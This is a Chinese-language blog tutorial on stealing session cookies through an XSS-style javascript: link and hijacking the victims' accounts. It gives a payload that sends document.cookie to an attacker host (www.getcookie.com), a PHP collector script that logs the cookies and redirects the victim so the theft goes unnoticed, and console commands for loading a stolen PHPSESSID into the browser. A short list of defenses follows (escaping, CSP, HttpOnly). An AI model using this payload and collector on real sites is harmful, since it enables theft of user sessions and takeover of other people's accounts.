如何盜取cookie登錄用戶賬號

都說cookie不安全,現在通過一個很簡單的例子來說明它爲什麼不安全。

對於cookie的概念這裏就不做闡述了。前端截取cookie的方式有多種,下面介紹一種比較簡單的手法。

首先:

小黑會在各種網站發佈帖子,然後在某些特定的地方添加吸引人點擊的內容,而該內容會有一些超鏈接。比如在A網站,小黑在發佈的內容中加個超鏈接:

<a href=”JS_URL”  target=”_blank”>點擊我,跳轉到B網站</a>

然後JS_URL 用如下形式:

javascript:window.location.href='http://www.getcookie.com/info.php?usercookie='+document.cookie;

或者

javascript:window.open('http://www.getcookie.com/info.php?usercookie='+document.cookie);

 

然後:

小黑在自己的服務器上也就是www.getcookie.com 上寫好腳本info.php,接收以上超鏈接傳輸過來的cookie。

Info.php

<?php

$info=$_GET[‘usercookie’];

if($info){

    file_put_contents('./cookie_log.txt', $info.PHP_EOL, FILE_APPEND);

}

header("Location:http://www.B.com");//因爲超鏈接是要跳轉到B網站,拿到cookie後再給他跳轉,不容易被發現。

 

最後:

小黑拿到其他用戶的cookie後,在A網站登錄自己的賬號,然後只需要將自己賬號的cookie改成前面截取到的cookie。具體步驟:

進入F12的控制檯,執行:document.cookie = 'PHPSESSID= aaaaaaaaaaaa;'; 有的網站有多個cookie,每個cookie會對應不同子域名,所有這種需要在設置cookie時加上有效的域名和目錄等。比如:document.cookie = PHPSESSID =aaaaaaaaaaaa;'+ 'path=/;'+ 'domain=.A.com';  表示一級域名下有效。

如果沒有A網站的賬號,也可以直接設置cookie到該網站的域名下,不過這樣可能花費的調試時間多些,因爲有些網站有多個cookie,各個cookie對應的子域名、目錄等可能不一樣。如果自己有一個賬號,只要登錄後替換對應鍵的cookie值就可以了。

除了在控制檯執行document.cookie,也可以Application項目的Cookies欄目下修改cookie值。

刷新一下,就能獲得別人賬號的權限了。

 

對於這種XSS攻擊,有時真的是防不勝防,但也還得防。

防範方式:

1)字符的過濾,將用戶輸入的字符進行特殊字符過濾或轉義,比如空格,單引號,雙引號,尖括號等;

2)避免cookie中泄露用戶隱私,也可以通過cookie和ip綁定來降低泄露風險。

3)提交表單儘量用POST而非GET

4)內容安全策略——CSP(Content-Security-Policy),一種以可信白名單作機制,來限制網站中是否可以包含某來源內容。默認配置下不允許執行內聯代碼

5)設置cookie爲httponly。這樣前端就無法通過document.cookie截取到該cookie值。比如php的設置方法:

方法一、在php.ini配置文件中進行cookie只讀設置的開啓 :session.cookie_httponly = On

方法二、在php代碼頂部設置
<?php
ini_set("session.cookie_httponly", 1);
//php5.1以前版本設置方法:header("Set-Cookie: hidden=value; httpOnly");
?>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章